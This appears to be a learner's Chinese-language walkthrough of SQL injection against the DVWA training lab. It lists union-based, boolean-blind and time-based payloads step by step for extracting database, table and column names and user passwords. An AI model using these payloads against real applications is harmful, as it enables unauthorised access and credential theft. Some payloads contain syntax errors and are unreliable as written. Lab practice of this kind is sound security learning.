1.sql注入一般流程:
1)判断注入点:即判断是否存在sql注入,通常在参数后面加单引号,万能密码
2)判断查询的字段数 :order by 数字(数字从小到大,看是否报错)
3)确定回显位
4)获取信息函数:
user() 获取当前用户用户
database() 获取当前数据库
version() 获取数据库版本
5)获取数据库名:1’ union select version(),database()#
6)获取表名:
1‘union select 1,table_name from information_schema.tables where table_schema='刚查库表名'
7)获取列名:1’union select1,column_name from information_schema.columns where table_name='刚查询表名‘#
8)获取数据:1‘union select 指定列名,from 表名
一.SQL injection(low):
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'
1、判断注入点:试试万能密码,有回显,说明存在注入点
2、查询字段数,依次列举猜测,直到order by 3才报错,说明只有两个字段
3.查看数据库信息
1' union select version(),database()#
4、查看dvwa此数据库中表名
输入
1'union select 1, table_name from information_schema.tables where table_schema='dvwa'#
会发现下列字样,我也不知道为什么?????查了一下在from前面加上下列代码就可以了
COLLATE utf8_general_ci
爆出了两个表名,分别查询两个表明,我们可以从表中查找列的信息
5、查询列信息:users表中的所有列信息爆出,看到了password,user
6.查看password里面信息
二.一.SQL injection(medium):
与low相比,medium多了下列代码,对单引号进行了转义,可以一定程度防止sql注入,而且输入处是下拉菜单,所以只有抓包修改参数,步骤大致和low差不多
$id = mysql_real_escape_string( $id )
1.看注入方式:显然是数字注入,所以单引号对id=1的注入无影响,只是对后面在特定表中查找会产生影响
2、查询当前数据库
3.查看当前数据库里面的表
4.查询表中的列名,想办法绕过单引号,把字符串转化为16进制
5.查看数据,爆出了用户名和相应密码
盲注分为两类:
1.布尔盲注 :当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。
布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。**什么情况下考虑使用布尔盲注?**
1. 该输入框存在注入点。
2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
布尔盲注流程:
1)判断数据库名的长度
and length(database())>数字
2)猜测数据库名(使用ascii码来依次判断)
and (ascii(substr(database(),1,1)))>数字#
3)猜测表名
and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>数字#
4)猜测字段名(列名):这里数字一般取105,对应字母为i(id)
and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’刚查询的数据库表名’ limit 0,1)1,1)>数字#
5)猜测字段内容
and (ascii(substr(( select password from 已知表名 limit 0,1),1,1)))=数字--+
2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
**什么情况下考虑使用时间盲注?**
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果,故无法使用UNION注入
3. 不会显示报错信息,故无法使用报错注入
4. 符合盲注的特征,但不属于布尔型盲注
时间盲注流程:
1)猜测数据库名称长度
eg:
输入:id=1' and If(length(database()) > 1,1,sleep(5))--+ 用时:<1s,数据库名称长度>1 … 输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+ 用时:5s,数据库名称长度=8 得出结论:数据库名称长度等于8个字符。
2)猜测数据库名称的第一个字符
eg:
输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+ 用时:<1s … 输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+ 用时:5s
3)猜测数据库表名:先猜测长度
4)猜测数据库字段:先猜测长度
5)猜测字段内容:先猜测长度
三、SQL injection(blind) low
1)判断注入类型:比较之后容易得到是字符型注入
2)判断数据库长度:尝试大于5报错后,范围就变得很小,可以依次试=4 =3………………发现length=4时报对,说明当前数据库长度为4
3)判断数据库名称(4个字母,依次尝试)注:A-Z(65-90) a-z(97-122),语法见下列过程
显然库名第一个字母ascii码值为100-d,同理得出[database(),2,1],[database(),3,1],[database(),4,1]d的值,就可以知道当前数据库名了
4)判断数据库的表名(先猜表个数,再猜表名),猜到2范围就很小了,依次往后减,发现猜个数为2报对,语法见例子
猜解表名:(表长度->表名)
经过一系列尝试,得出dvwa靶场的第一个表名长度为9,
103-g
用同样方法查看第二个表的长度 ,一系列尝试,表长度为5
猜解表名117-u,这样依次猜出第二个表的名称-users
猜解列名(个数->列名),经过一系列尝试,直接演示正确答案
1' and(select count(*) from information_schema.columns where table_schema=database() and table_name='users')=8 #,users表中有8个列
列名:1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1)=number #猜users表中第一列的列名长度,依次查2,3列列长……
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>num #猜解第一列名第一位,依次查第一列的第2,3位是什么字符,……
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1)=number #猜users表中第二列的列名的第一位字符,依次查2,3位字符是什么
经过n多次尝试,得出所有列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
猜解用户名:1‘ and (ascii(substr((select user from users limit 0,1),1,1)))=num #依次查(2,1),(3,1)……得出结果为admin
上述省略n多步